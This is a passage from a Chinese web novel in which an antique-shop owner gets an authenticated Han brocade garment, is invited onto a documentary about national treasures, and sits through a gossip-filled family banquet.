当然，驯龙也不简单就是了。 她们只在电影动画片里见过，完全给不了指导意见。 如果有桃太郎饭团就好了……萧妧妧嘀咕。 爱丽丝连连点头，十分赞同这一说法：“对，让它当看门狗。” 孟甜甜挠头：“看起来是个好主意，不过……” 她苦笑一会，说：“这样吧，我们多找点驯龙的影视资料给你参考，其他的……我们真没辙。” 爱丽丝眼睛瞬间闪亮：“谢谢姐姐！” 爱丽丝这下不算不务正业看动画片了，而是学习驯龙技术，正经事。 “再正经也等吃完饭再说。”孟甜甜毫不留情地抽走平板。 爱丽丝嗯了一声，斗志满满地坐下，抓起鸡腿塞嘴里，“或许恶龙会喜欢吃炸鸡，我可以用炸鸡诱.惑它。” 恶龙会不会被诱惑不知道，爱丽丝肯定被鸡腿诱惑了，满嘴油。 萧妧妧失笑，这怎么不算一个办法呢。 爱丽丝畅想驯龙技巧，萧妧妧跟着出馊主意。 “要不试试麻醉剂？” “不然辣椒粉也行，我听说龙会喷火，让它先把火喷完，这样你就安全了。” “恶龙也是动物，说不定和小猫一样，就喜欢别人对它强制爱，你多撸撸它，说不定它会喜欢。” 孟甜甜抽抽嘴角，这些主意何止有点馊，听起来像开玩笑。 爱丽丝却像拓展了思维似的，连声附和，说会尝试。 吵吵嚷嚷，一顿饭终于吃完，萧妧妧闲适地咸鱼躺，看天空白云悠悠。 十月二日，依然是个凉爽的好天气，可惜今天的营业额没有天气这么好。 上午经营时间结束，萧妧妧一数账单，才300万，心都碎了。 她安慰自己片刻，开始为下半月的上新做准备。 这时，手机叮铃铃响。 萧妧妧看到陌生来电，犹豫一会接通。 “萧妧妧女士吗？我们是国家文物局鉴定中心的。” 萧妧妧一听是鉴定中心，马上走到安静些的地方。 “是这样，鉴定结果出来了，有些修复以及日常维护的注意事项需要与您交待一下。 东西我们会在今天送到您手上，请问一下您之后对文物有什么安排呢？” 萧妧妧心里犯嘀咕，怎么鉴定中心还管这么宽？ “没什么安排，东西是家里长辈传下来的，我们就想知道是真是假，后面看情况研究一下保存条件。” 电话那头语气稍显激动：“好的，谢谢萧女士配合。 您送来鉴定的织物经检测，疑似为国家二级文物，我们建议您尽快办理文物版权证书以及收藏证书，确定评级。 这相当于给文物发身份证，如果有遗失，方便警方追回。 然后就是有几个注意事项需要跟你说一下，您送检的文物需遵守《文物保护法》，禁止私自买卖、运输，禁止破坏文物，禁止采用不当方式对文物进行修复……可短期展示，不建议频繁移动、折叠，会对文物造成损坏。 另外一件事，按照规定，这一类珍贵文物我们必须向上级部门报备，这里需要您重新整理一份来源证明送来。” 萧妧妧听对面说完一长串话，并没有多少意外的情绪，珍贵文物值得如此小心。 她嗯了一声，“您放心，东西我们不会卖的。” 又听对面说了几句禁止事项和提醒，电话挂断，萧妧妧的心彻底踏实下来。 汉锦通过了文物局鉴定中心的鉴定，这对她来说无疑是个好消息。 第一步稳妥了，后续才好安排。 萧妧妧乐不可支，好像已经看到自己变成知名藏家了。 “咚咚咚” “咚咚咚” 萧妧妧傻乐的时候，院门被人大力敲响。 孟甜甜快她一步赶去开门，萧妧妧跟过去查看情况。 “萧妧妧女士住这里吗？” 门一打开，七八个穿着制服的警察涌进来，出示证件询问她们。 萧妧妧吞了吞口水，上前一步，“我是萧妧妧。” 孟甜甜躲在她身后，低声问：“你犯什么事了？” 萧妧妧不比孟甜甜知道的多，心里也纳闷。 她犯的事可不少，私藏黑户，走私文物，贩卖杀伤性武器…… 萧妧妧莫名一抖，看向警察们的眼神不自觉发飘。 完了，不会是发现她走私吧？ “证件给我们确认一下。”一警察说。 萧妧妧忐忑不已，老老实实掏身份证。 警察核对完身份，回到门边，冲巷子口方向吼：“没找错，进来吧。” 萧妧妧看得一愣一愣，心里更纳闷了。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +5 212 第212章 ◎新人起号没轻没重◎ 萧妧妧不安搓手,踮脚往门口方向张望。 不出一分钟，萧妧妧的困惑得到了解答。 三位穿着文物局统一制服的年轻人依次进来，为首的人捧着一文物专用箱。 萧妧妧左看看右看看，恍惚间明白了。 “你们……是文物局鉴定中心的人,来送文物？” 鉴定中心的工作人员出示证件,“是的,我们的人已经提前跟你电话沟通过了,萧女士记得吧？” 萧妧妧当然记得，前脚发生的事,可人家没说有警察上门啊，吓得她以为自己要吃牢饭。 警察同志笑着解释：“毕竟是珍贵文物,我们接到通知，配合鉴定中心的同志们运输,防止路上出现意外，东西送到我们的任务就完成了。” 萧妧妧嚯了一声,只听说过警察会帮忙陪同提取运输大额现金,第一次听说还帮忙运古董。 何德何能啊,汉锦直裰享受了一把警车护送的待遇。 萧妧妧神情空白,愣了好一会才接过箱子,取出里面的东西。 “这里还有一份鉴定报告，以及对文物的保护措施，再就是一些针对珍贵文物的禁令，萧女士多多注意,如果有修复方面的需求，可以优先寻求我们的帮助。” 萧妧妧说了好几声谢,把人送出巷子口后,她走路还有点发飘。 孟甜甜松了一口气,庆幸道：“幸好不是来抓我的。” 两人相视一笑，都有些心有余悸，毕竟她们没少干亏心事。 孟甜甜又问：“现在鉴定结果出来了，你打算怎么做？” 萧妧妧沉吟几秒：“送去评级，然后再去确认版权……” 说到这里她停顿一下，不知道公益捐赠是否需要先评级。 “算了，晚点我问问吧。现在最重要的是……”萧妧妧举起鉴定报告连拍几张照片，笑容灿烂：“发视频。” 【惊！地窖挖出国家二级文物】 【家人们谁懂啊，三辆警车护送回家】 【给大家看看超开门的国家二级文物】 【事情是这样，主包在家进行换季大扫除，意外翻出爷爷留下的旧东西[图片][照片] 大家知道主包做古董生意的，过目的古董数不胜数，机智的主包一眼看出它不简单。 可惜主包擅长瓷器和翡翠，看不出它不简单在哪，于是和老爸商量后决定送去国家文物局鉴定中心[照片][照片]送检的票据附上。 送检过程不说了，总之，在我快要忘记这件事的时候，主包在2号上午接到鉴定中心电话，工作人员特别耐心，教我怎么保存它以及注意事项，还说会在今天送到。 主包并没有在意，以为是快递签收。直到八名警察敲门查我证件，主包才意识到不对劲。 家人们谁懂啊，有生之年遇到警察护送文物[照片][照片]（监控截图，大家凑合看吧，只露了制服证明我没有说谎） 不是博物馆的，是我私人的文物，来源清晰可查[照片][照片] 说到这里，大家会好奇，到底什么档次的文物值得警察叔叔亲自跑一趟。 喏，鉴定报告来了[图片][图片]，目前给出的结果是疑似国家二级文物。 好消息：它很值钱 坏消息：禁止交易(猫猫哭泣) 有生之年也是让主包遇到了禁止交易的珍贵文物，不破斋好起来了！ 虽然不能交易，但是主包善啊，接下来请大家欣赏我的对鸟纹汉锦直裰……】 孟甜甜检查完草稿，没找出问题，递还手机：“发！” 萧妧妧依言按下发送键。 孟甜甜感叹：“做生意真不容易，还要自己拍照片剪视频上网宣传。” 萧妧妧笑：“可不是。” 萧妧妧没管账号，拉着孟甜甜一起看动画片，试图从中归纳驯龙要点。 她一边念叨好扯，一边看得津津有味。 两人嘀嘀咕咕记笔记，申明月喘着粗气闯进来。 “我要买玻纤箭，好多好多箭。” 申明月撑着膝盖上气不接下气，上来开门见山的下单。 萧妧妧暂停动画片，拉她过来坐下，倒了一杯水递去。 “买多少啊？怎么突然要它了？又打起来了？”她好奇问。 申明月点头：“对，要打起来了，我们升州过好日子，遭其他人眼红，想来抢粮食，我让他们有去无回！” 萧妧妧边听她说边掏手机：“三万支够吗？我联系了玻纤箭的生产厂家，价格便宜，多买点囤着也行。” 申明月想了想：“八万支吧，我心里不踏实，过阵子宣纸、卫生纸造出来，指不定多少人起歹念呢。” 萧妧妧联系厂家，下单打款，几句话的工夫完成采购。 申明月喘匀气，瘫倒，打算在这里偷半日的闲。 萧妧妧顺势盘点一下库存，随口问：“要不再买点草药？止血药？或者粮食冬布什么的？” 仗一打起来就没完没了，想到她以后还有接连十几场的仗要打，买这么点不够用。 申明月一想也是，大手一挥：“买，正好我那里还有几箱翡翠珠宝，改天送来。” 萧妧妧定好送货日期，继续咸鱼躺看动画片。 申明月满脑子愁绪，直愣愣望天发呆，最后渐渐被她们带偏，一起看动画片。 一直悠闲躺到半下午，萧妧妧蓄满能量，准备出发前往拍卖行。 这是一家小拍卖公司，远不如佳博规模大，是以没有特别复杂的要求。 萧妧妧踩着点中途进场，竞拍完东西爽快付钱，提上东西走人，全程不超过1小时。 孟甜甜看她刚离开没多久又回来，还没她化妆用的时间多，笑着调侃：“这种小拍还要萧老板化妆亲自上啊？” 萧妧妧也嫌麻烦，除了佳博的压轴场，其他都打算通过电话委托竞价。 但她很享受现场竞价的刺激感与兴奋。 孟甜甜：“你先别兴奋，看看你发出去的视频吧。” 萧妧妧挑眉，兴冲冲问：“火了吗？” 她当即掏出手机切换账号，然后手机突然卡顿。 孟甜甜：“当然了，我亲眼看着点赞量蹭蹭上涨，一小时两三万。” 萧妧妧略等一会，手机页面终于刷新成功，画面一正常显示，私信和点赞通知潮水一样涌来。 她不止发了一个平台，切换其他APP后，发现关注度都挺高。 孟甜甜：“这是你想要的火？” 萧妧妧抓抓脸：“是，也不是。还缺点什么。” 至于缺什么，萧妧妧自己也说不清。 当然，这不重要，眼下重要的是回复评论- 这像话吗？爷爷的遗产是国家二级文物？- 头一回见警察送文物，开眼了- 没懂，好像很牛逼的样子- 谁来解释一下，这破衣服牛在哪啊？- 知道“五星出东方利中国”吗？那是汉锦，店主手里这个也是。当然，没有铭文价值肯定比不上它，但也算重要的丝织品文物- 国家二级文物？这得值多少钱啊，老天奶真是你奶啊？- 楼上的，禁止买卖，别想了- 能卖的话，反正不会便宜- 谁眼睛好发一下截图，那个报告是真的吗？- [截图]放大看，有公章，做不了假，应该不至于拿帽子叔叔骗人- 等一下，这么重要的东西，是不是要联系当地文物部门？- 老板老板，买翡翠可以看一眼汉锦嘛？我在博物馆看到的真没你这件完整，好漂亮啊- 最难得的是有配饰我的天，一套布料的荷包和腰带，那个腰带看起来像玉- 服了，新人起号没轻没重- 哈哈不新了，博主已经更了好久的古董视频- 那还是新的，才开号几个月，第一条视频暑假发的。 萧妧妧不禁轻笑出声，网友倒是没说错，她的确打算通过汉锦起号来着。 不过不是为了账号粉丝量什么的，而是为她个人起号，为知名收藏家这个身份起号- 不能出境，不能买卖和随便运输，真就挖了个祖宗出来- 等一下，自家地窖挖出来的算私人还是国家的？- 看博主照片啊，不是土里挖的，肯定算私人- 这种级别的文物，可以联系博物馆代为保管吧？还有保管补贴和奖励。 丝织物容易损坏，自己保管挺麻烦的，老板你可以考虑一下- 顶上去，老板看看这条建议，感觉很靠谱。 萧妧妧正在看这条颇有建设性的建议，不过她不准备改变，仍旧选择在合适时机进行公益捐赠。 倒是网友的留言给她不少启发，以后再有这类古董到她手里，选择博物馆代为保管挺不错- 博主会考虑出对鸟纹汉锦的复刻版衣服、布料什么的吗？好漂亮啊，想做成汉服穿- 同意，虽然有点褪色，但是不难看出来原先有多鲜艳，求求博主授权出复刻吧- 老祖宗的审美真的绝了，好漂亮，想拥有，哪怕只有一个荷包。 萧妧妧看到这里灵机一动，或许捐赠时可以和崔先生商量一下复刻的版权事宜。 只捐赠文物本身，用以艺术、历史研究，衍生权益她拿大头。 不过丝织物的复刻，恐怕要联系南市的织造博物馆吧？ 萧妧妧心思瞬间活络起来，把这事记在心里，等拍卖结束另做打算。 孟甜甜见她玩起手机就不管不顾，站在门口傻玩半天，推她进院子。 “你不在的时候龙傲天来过，放下一箱子东西，说是另外给你的惊喜，不算在账里。” 萧妧妧勉强分出一丝注意力：“什么东西？翡翠？他会那么大方？” 孟甜甜摇头：“不知道，我刚刚挪进来的时候没感觉什么重量。” 萧妧妧暂且放下手机，进小卖部去看看他送来了什么好东西。 一掀开盖子，看见黑的白的棕的红的各色皮草，萧妧妧笑容消失。 孟甜甜稀罕地摸两下：“这是真皮子吧？我只见过人造的。” 萧妧妧估摸着是真的，不太敢碰这种未加工好的皮子，道：“回头你们自己分分，我记得明月和爱丽丝那里都快要入冬了，正好派上用场。你多拿点，做成毯子垫子都成。” 孟甜甜见她对皮子不感兴趣，也没客气，照单收下。 “回头让明月找手艺好的裁缝做几件外套，我可处理不来这些。” 两人分配好皮子用途，分工合作继续应付热情网友。 孟甜甜回应评论，萧妧妧则回复私信。 萧妧妧从没觉得打字是件力气活，直到她手指开始出现酸疼感。 “我手指倒还好，眼睛有点酸，咱们明天再回吧。”孟甜甜活动着肩颈提议道。 萧妧妧嗯嗯两声，正要收起手机，新的私信弹出来。 有新私信顶上来很正常，萧妧妧没当回事，只是用余光扫了一眼。 然而，当她的目光扫过扫到私信人的头像以及名称，突然停顿，重新挪回去仔细看一遍。 “纪录片《国宝》导演-翟烨……”萧妧妧轻声念出，声音中透露出一丝惊讶。 孟甜甜没听清，问：“你说什么？” 萧妧妧缓缓抬头，黝黑眼眸迸发出异样的光彩。 “我是说，我知道缺什么了。” 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +5 213 第213章 ◎文物也能拍纪录片？◎ 缺什么？ 缺一个更高效、更有说服力,以及更有公信力的曝光。 和展览经历、文献著录差不多，这是属于古董的“履历”，履历越漂亮，溢价越高。 据她所知,圈里不少收藏家也在想办法提高古董的市场认可度。 或通过市场运作提升溢价,或采取学术背书夯实价值,或“完善”身世,借力名人效应……总之办法多得数不胜数。 比如萧妧妧为汉锦补充证据完善身世，就属于其一。 当然,她可以这么操作的前提是古董本身具备潜力。 而她原本打算借网络曝光提高汉锦的认知度这一行为，就属于市场运作。 对比起小儿科的自媒体视频宣传,通过文化纪录片传播，显然更具有价值、更精准,可以借此让大家对汉锦的稀缺性有清楚认知。 后续再参加一些大范围的艺术展、古董展，联合博物馆巡回展览,在细分领域充分展示,突显汉锦的独特性同时得到专业机构的背书。 这一套小连招下来,汉锦直裰便能实现溢价。 对她而言,汉锦的溢价无需通过交易落地,是在公益捐赠的那一刻，为萧妧妧三个字增加光环。 她按捺住激动心情，戳开自称是导演的网友私信，看完剩下半句话。 “萧女士您好,我是纪录片《国宝》的导演之一，翟烨。 很高兴能在网络上看到如此珍贵又完好的丝织品文物,我代表节目组对萧女士和汉锦直裰发出诚挚邀请,希望您能同意汉锦出镜。 这是我们节目的官方账号,目前已经做到第四季了，前三季在CNTV播出，网络声量非常不错，入选过最佳纪录片奖、新综艺奖、最受大学生关注奖…… 前三季一共24集，截止目前均集播放量过3亿，是非常非常了不得的数据…… 如您有意向，是否可以添加好友详聊？我的联系方式……” 孟甜甜低声读出来，诧异说：“文物也能拍纪录片？听起来挺厉害的，你要和他合作吗？” 萧妧妧深吸气，古董类纪录片能有均集3亿的播放，这数据何止不错啊。 可惜她平时不怎么看纪录片或综艺，对《国宝》了解约等于无。 萧妧妧：“可以试试看，不过我得先了解了解。” 萧妧妧不着急咸鱼躺了，认认真真搜索节目资料，各大平台了解节目讯息，如网友口碑，收藏家对其评价，以及最重要的对待文物的保护措施是否到位。 不搜不知道，一搜吓一跳，《国宝》可不是普通纪录片，而是官方台大力推的文化节目。 讲述文物诞生，演绎文化与历史，每一集都安排了生动的小故事，由明星配合演绎。 说到参与节目的文物，24集24件文物有来自各省市博物馆，也有来自民间藏家的珍品。 出自博物馆的文物不必说了，知名度极高，来自民间私人藏家的文物，在历史、艺术、文化价值三方面，并不落后于博物馆文物。 萧妧妧查完资料，直接睡不着了。 这是要一步登天的节奏啊。 同样睡不着的还有纪录片导演翟烨，抱着手机辗转反侧。 要不是平台对非好友限制打招呼次数，他一定会采取猛烈信息攻击。 做为延续了三季的文化纪录片导演，翟烨不可谓不头大。 这件文物艺术价值高，那件文物历史意义非凡，另一件能代表古代技术巅峰，件件都有不选不可的理由。 聘请来的几位文物相关的顾问吵得不可开交。 然而节目做到第四季，是该有新的侧重点。 第一季做为先行者，他们选择博物馆的镇馆之宝，打下观众基础奠定纪录片风格后，第二季、第三季分别做出调整，测重点放在文化、历史两方面。 第四季的侧重点早已定好，艺术。 要体现文物的艺术属性，技术是绕不开的话题，美学同样无法抛开。 有技术的没艺术，有艺术的又不具备代表性，有代表性的碍于文物保护，他们借不出来。 本季8集8件文物，经过半年计划才定下其中5件，包含了乐器、字、画、丝织品等。 其中丝织品有两类，一为布料，主要讲述布料从丝到布，一为成衣，主要讲述绣花、配色、纹样、服饰演变等。 布料不必说，肯定是锦缎、纱，衣服则陷入了推进不下去的窘境。 毕竟流传至今还能完好并且可以上身展示的丝织品少之又少，节目组几个导演商量后考虑采用复刻品，或者选用3D复原技术。 没有实物展示到底不太符合纪录片一贯的风格，整个节目组在为选用哪种方法而纠结。 直到翟烨写不出方案，心血来潮搜索丝织品文物企图找点灵感。 看到汉锦直裰的那一刻，翟烨的天灵盖像是撬开一样，思路汹涌灌溉。 画面播放到身形高挑的女老板穿上直裰，略显滑稽的展示，会心一笑之余，翟烨下定决心要采用汉锦直裰为纪录对象。 翟烨反复拉了几次进度条，又进博主账号看完大部分视频，心里踏实了。 看起来是玩古董的，合作的可能性又提高了一分。 翟烨二话不说下载视频发去节目组工作群，联系顾问研究博主发出来的鉴定报告。 “你们先看看这件汉锦怎么样，@所有人” “鉴定报告请刘老师张老师看了，没问题的话我们开个线上会议聊聊。” 消息一发出去，节目组的同事们纷纷回复收到，看起视频。 翟烨切回视频软件，看网友评论，顺便等待博主回应。 他一连发了三四条评论，可惜无人应答。 又等了几分钟，消息接连弹出来，节目组上下基本都看完了视频，先后发表意见。 同时，翟烨也把顾问对汉锦的评估结果发出来。 “真的是汉锦吗？刘老师如果能确定是真的，我投汉锦一票。” “我也投汉锦，对鸟纹非常经典了，关键这件汉锦上面的绣纹特别清晰，视频里没看到有破损的地方，很难得。” “技术方面，汉锦绝对挑不出问题，艺术方面，工艺、绣花、色彩搭配都很考究，历史方面，这是汉锦，太稀少了。” 果然，不出翟烨所料，继顾问给出高度评价之后，节目组的同事们都兴奋起来。 关于丝织品的选择，大家开了大小七八次会议，一度因为没有合适的文物展示，几次被总导演提出取消或者更换。 现在方案无需改动，甚至可以按照原方案进行，说一句峰回路转不过分。 翟烨很意外很惊喜，顾不上节假日，拉着大家开小会，等待刘老师那边的结果。 会议进度过半，让大家振奋的好消息传来。 仅凭视频部分展示的鉴定报告来看，出具报告的机构为国家文物局，基本不存在造假的可能。 翟烨松了一口气，不枉费他们拼命加班，好运这不就来了？ 翟烨马不停蹄编辑私信内容，郑重其事地发出去，忐忑等待回应。 五分钟、十分钟、十五分钟，翟烨急得睡不着觉，几次刷新都没见到新消息。 转念一想，汉锦视频的点赞飞速增长，评论爆炸式增加，博主一时间恐怕来不及应付他，他的私信恐怕淹没在众多消息里。 翟烨不希望错过机会，当即订购第二天飞往南市的机票，打算当面邀请。 他一边嚷嚷节假日机票贵，一边狠心定了两张，一张给自己，一张给顾问老师。 萧妧妧查完资料，毫不犹豫决定同意导演的邀请。 机会太难得了。 孟甜甜提醒她：“网络上真真假假说不清，记得把人约到店里谈，可别是骗古董的。”* 萧妧妧顿时警醒，古玩圈里针对藏家的诈骗花样多得数不过来，从买到卖，乃至于鉴定环节，各种稀奇手段层出不穷。 即便心里已经同意，萧妧妧也没有立刻给出肯定答复，添加好友，提出让翟烨出示证明。 消息发出去，翟烨那里没反应，萧妧妧这时才注意到时间很晚了。 “早点睡，明天不是中秋吗？有你忙的。”孟甜甜打着呵欠说。 萧妧妧唉了一声，抓紧时间洗漱。 回来的时候还算早，结果玩起手机不知不觉时间就过去了。 第二天早早爬起，萧妧妧第一件事就是打开软件后台。 果然，翟烨发来了消息，说愿意来不破斋面谈。 萧妧妧当然是答应了，看一眼行程表，下午有半天可以挤挤，来得及。 商量妥当，萧妧妧便忙起今日的营业，尽量赶在十一点前结束，免得耽误中午的聚餐。 她谨记张芸女士的耳提面命，化了精致妆容，换上得体又漂亮的衣服，有大logo的那种。 匆忙赶去聚餐酒店，萧妧妧没进门接二连三有电话打来。 她加快脚步，推开门，一张张笑脸向日葵似的冲着她。 环顾一圈，张芸挤眉弄眼，萧大明面色讪讪，亲戚们热情洋溢。 萧妧妧一头雾水，迟疑走进包间。 “咱们家的大老板来啦，来，妧妧坐姑姑这里。” “坐你那不合适，来，妧妧到你姐姐那边坐，你们好久没见了吧？” “妧妧，熙园那套房子是你买的啊？全款还是贷款？首付多少啊？我问你爸妈，他们一问三不知，买房子这么大事都说不清楚。” “对了妧妧，有对象没有？我有个侄子跟你一般大，还是研究生呢，回头介绍给你？” “妧妧她婶，你侄子不是年初订婚了吗？这是哪个侄子？” “妧妧，你古董店生意怎么样？真有那么火吗？我看老方家生意就一般，都做不下去了。 我刚才还跟你你爸说，古董生意真这么好赚我也干，正好咱们变成家族企业，多好啊。” “老五你这话问的，你看妧妧一个月就赚到一套房子，肯定好啊。 不像我们开个五金店，生意冷清。 你弟还说回来帮我们看店，我看不如帮妧妧看店，好歹能学点知识。” 萧妧妧脚步一顿，瞬间明白爸妈为什么这么一副表情。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +5 214 第214章 ◎乔迁宴◎ “你们怎么没有提醒我……” 萧妧妧面上保持微笑,实际咬着牙悄声和张芸说话。 张芸同样一副皮笑肉不笑的样子，低声回：“提前说了你还能来吗？” 萧妧妧吸气，合着大好假期一家三口来找不痛快。 萧妧妧在桌下踢一脚萧大明，挤眉弄眼示意他解围。 反正都是萧家的亲戚,他出面总不会错。 萧大明挠挠头,干巴巴笑：“对象的事不着急,慢慢挑,妧妧现在年纪小，正是忙事业的时候。” 有萧妧妧无意间的一句提醒,萧大明突然歇了催婚的心思。 和他一般大的邻居、同学、同事们，家里孩子不是已婚已育就是离婚,乌七八糟的事一大堆。 普通人家都会为财产闹得急头白脸，甚至大打出手,何况萧妧妧现在颇有资产，一不小心被哪个黑心肝的给谋财害命了,他哭都没地方哭。 萧大明不敢催婚了,生怕萧妧妧被他们催得急眼了,随便拉个不清楚底细的结婚。 “什么不急,妧妧二十多了吧,谈两年结婚生小孩正好。” 萧大明笑呵呵打太极：“哪有时间谈，妧妧做生意很辛苦，没时间的，以后再说吧。” 萧妧妧挑眉,狐疑看萧大明，不知道他什么时候开窍了。 她连声附和：“我听我爸的,毕竟现在钱不好赚,趁能赚的时候多赚点。” 大伯这时打断道：“说起生意,妧妧啊，你不是开小卖部吗？怎么突然开古董铺了？问你爸妈他们也说不出个一二三。” 比起催婚，大家显然对她的古董铺更感兴趣，闻言全部扭头看过来。 萧妧妧叹气：“还不是小卖部生意不好，不得不想别的法子。” 大伯母深表认同：“你回来的时候我们就不看好你搞小卖部，能赚几个钱？还把人给耽误了，你这么年轻，随便去哪个公司上班不好？” 说起去上班，萧妧妧抽抽嘴角。 刚回南市的时候，大伯母最初给她介绍过工作，包吃不包住月薪2000，没有五险一金，更没有周末双休。 萧妧妧当时直接气哭，什么牛马能受得了这种压迫啊。 堂伯伯：“话不能这么说，我就挺看好妧妧的小卖部，再不济那是自家生意，从来只有做生意发财的，没听说上班上发财的。” 几个叔叔伯伯又为做生意好还是上班好展开激烈讨论，萧妧妧退出战场，埋头苦吃。 早上忙着营业，开门后又忙碌了半个上午，她早就饿得肚子咕咕叫。 “妧妧啊，你店里这么忙，要不要人手啊？我家有个小侄子，人很机灵的，正好刚毕业在家里闲着，你要是缺人我给你介绍。” 大家叽叽喳喳讨论半天，话题又绕回萧妧妧身上。 萧妧妧吞下嘴里食物，抽空回话：“不缺人，那么小的店铺我一个人刚刚好。 再说了，真要人手，我肯定优先选择女孩子，做事方面还是女孩靠谱。 不是我挑剔，古董这门生意不太一样，你手劲大一点，瓷片多一条裂痕，直接亏几十万。 万一不小心碎了砸了，那交的学费可多了，大几百万打不住。” 萧妧妧的三婶瞪大眼睛：“亏几十万？这么贵呢？” 萧大明：“可不，那是古董，真古董，妧妧费劲吧啦找人收的。 上回我不小心碎了个青花的盘子，哎呦，你们不知道，妧妧差点不理我。 我说一个盘子而已，至于吗？” 大家纷纷附和，是啊，至于吗？ 萧大明笑了一声，“结果你们知道怎么回事？妧妧跟我说那是什么明的还是什么的青花，龙纹，可值钱了，上拍卖行500多万呢。” 听入神的亲戚们纷纷吸气：“乖乖，500万的盘子？这不亏死了？” “你们怎么买那么贵的盘子啊，500万呢。” 萧妧妧一听就知道萧大明忽悠他们呢，配合地说：“大伯、三伯、七叔，你们帮我评评理，这件是顾客在我店里寄售的，我让了好多抽成才请来充场面的好东西，我爸转眼给我砸了，我倒欠人家500万，这事我是不是该生气？” “那确实。” “这事是大明做得不对。” “你这古董生意也不好做嘛。” “怎么回事，你这就欠了500万？没听你爸妈说啊。” 萧妧妧一副不好意思提的窘迫样：“又不是什么光彩事，说那干什么。 这500万给我吓坏了，平时我都不敢在店里多待，生怕砸坏什么，不赚钱就算了，还倒贴钱。” 张芸听父女俩叽里咕噜说了一通，茫然片刻反应过来，跟着打配合。 “你们也别听她卖惨，做古董生意哪个没赔过百万千万的？ 上回妧妧自己看走眼，花200万收一幅字画回来，一鉴定，上周刚画完的，最多200块。 妧妧气得几宿没睡好，我就劝她，做古董生意肯定有打眼的时候，教学费不正常吗？ 就跟咱们炒股一样，亏的比赚的多，下次小心点就是。 妧妧心气高，觉得丢脸，不肯让我们说出去，今天也就咱们自家人聚会提提，你们可别说出去，小孩子要面子。” 萧大明起身端起酒杯敬了一圈，“孩子喜欢让她干呗，后面要是再赔，还要仰仗兄弟姐妹们帮帮忙，出人还是出钱出力，都算心意，一家人不说两家话。” 夫妻俩话里话外表现出支持的态度，看似为萧妧妧说话，落在亲戚耳里则成了为女儿挽尊。 出人好说，出力也好说，出钱就有点过份了。 叔伯们对视一眼，暂且歇了安排人去不破斋打杂的心思，也歇了自己开店的念头。 他们不懂古董，以为萧妧妧开的是那种工艺品店，鱼目混珠卖高价，否则怎么能赚那么多钱呢？ 这一打听大家都开始犯怵，原来萧妧妧卖的是真古董。 学费动辄几十万上百万，得吃多少教训才能把店铺经营起来啊。 “现在生意不好做，你们要是撑不下去了抓紧收手。” “就是，现在谁买那玩意回家，不如开小卖部靠谱。” 萧妧妧见大家不再追着古董铺问，悄悄松了一口气。 热菜一盘盘端上来，话题慢慢落在菜品上。 张芸趁着没人注意，凑过来低声说：“都怪你爸，可嘚瑟了，到处跟人炫耀。 带人去新房子看的时候，非要说这个灯多少钱，那个床多少钱。 你七婶真好意思，嚷嚷着要在咱家睡一晚，我还没睡过呢。” 萧妧妧笑得不行，难怪爸妈这么配合她。 “妧妧，熙园那个房子真漂亮，多少钱买的？装修不便宜吧？” “正好你哥年底结婚，我们在考虑婚房呢，想着你这里要是便宜，我们回头也买这里。装修你找的哪个公司？” 萧妧妧：“房子是别人赔给我的。人家来我古董店逛，砸了一个青花大缸，那个值好几千万呢，他没钱赔，就把房子转给我了，说是也值个2000万左右，再多他赔不起。” 她随口胡诌，惊得亲戚们连声惊叹。 大伯好奇什么古董能值几千万，婶婶对比古董和房子到底哪个贵，七叔咋舌，古董竟然真的这么值钱。 萧妧妧不想再说房子和古董的事，转而抛去话题：“你们听说红老头的事了吗？婶婶，你下回给我介绍对象可要提前准备体检报告啊。” 一说起瓜，大家来了兴致，眼睛锃亮，从满桌子人围着她问，变成了大家争相讲述，再由此发散，继而说起自己从别处听来的瓜，好不热闹。 聊着聊着，大伯倏然感叹，可惜没能见着老三一家。 亲戚聚一处，难免要说些家长里短，这里的老三通常指萧妧妧的三叔萧大光，奇葩的三叔一家就成了经久不衰的话题。 她悄悄竖起耳朵。 “老三前一阵开了个什么店，你们听说了吗？没开多久让人追上门讨债了。” “你们还别说，老三那一阵确实赚不少，他还老七的十万块就是做生意赚的。” “我听说那铺子后来卖出去了，硬凑出来40万给还了？” “不是还了50万吗？王翠菊气得赖在地上撒泼。” “那我不知道，我听到的就40万，后来不是说没钱还高利贷，正好昌平还让人给找出来了，被高利贷打断腿，老三前天跟我借钱呢，我疯了借给他。” “萧昌平腿断了？我听说王翠菊撞着脑袋流好多血呢，让她报警她不敢报。” “什么呀，你们的消息都过时啦。 我上回去医院看我老公公，我见过老三一家。 昌平是腿折了，胳膊骨裂，身上好多伤，还有脑震荡，可怜死了。 王翠菊我看精神着呢，她最会叫唤，高利贷不敢弄她，怕死人吧，反正我听说是后脑勺划了个大口子，缝了十几针，腰闪了，出门坐轮椅。 老三可怜喽，要伺候儿子还要伺候老伴。” 知道更多内幕的七堂婶一挥手，打断大家不实言论，拍胸口分享真实大瓜。 “这我知道，高利贷干的，那叫一个很，也不知道怎么把人找出来的。 你们不知道吧，昌平躲城西的烂尾楼去了，我说怎么老三两口子不着急呢。” “说起来怪呢，怎么一窝蜂找过去讨债，不知道哪来的消息，问他们也不说，神秘兮兮的。” 大伯随口感叹，萧妧妧埋了埋脑袋，屏息凝神。 不枉费她通风报信，叔叔婶婶们保密工作很到位。 “要我说，赌博这玩意害死人，老三不赌，老三儿子扛不住诱惑啊。” “萧昌平要是不碰那害人玩意，手里七八套房过得多滋润啊。” “哎，人各有命吧。” “……” 萧妧妧一边兴致勃勃吃瓜，一边美滋滋啃鸡腿。 三叔一家后来什么情况，萧妧妧其实没分出太多心神关注。 隔几天她想起来后顺手去网上搜，不石皮斋的账号注销，她发布的视频里再没有顾客反应被骗，于是萧妧妧彻底把这事给忘在脑后。 现在看来确实可以翻篇了，三叔三婶以后应该没时间惦记不破斋。 一场以乔迁为名的大家庭团圆宴，最后在欢快的氛围里结束，住得近的结伴回家，住得远的早早离开。 一家三口付完账单，吐槽几句难吃又贵，扫一眼面前的残羹冷炙，齐齐露出轻松笑容。 萧妧妧先送他们回熙园，从叔叔伯伯们送来的瓜果牛奶里挑选几样，回小卖部。 孟甜甜不在，柳如烟和爱丽丝两人凑一起看动画片，意外的和谐。 萧妧妧切了一整个蜜瓜放过去，两人被动画片迷得眼皮子都不愿意抬，她提醒一声，两人左耳进右耳出的嗯嗯敷衍回应 萧妧妧便没多管她们，回房间补妆，顺手把院子打扫一下，准备待客。 215 第215章 ◎史努比救过你的命吗？◎ 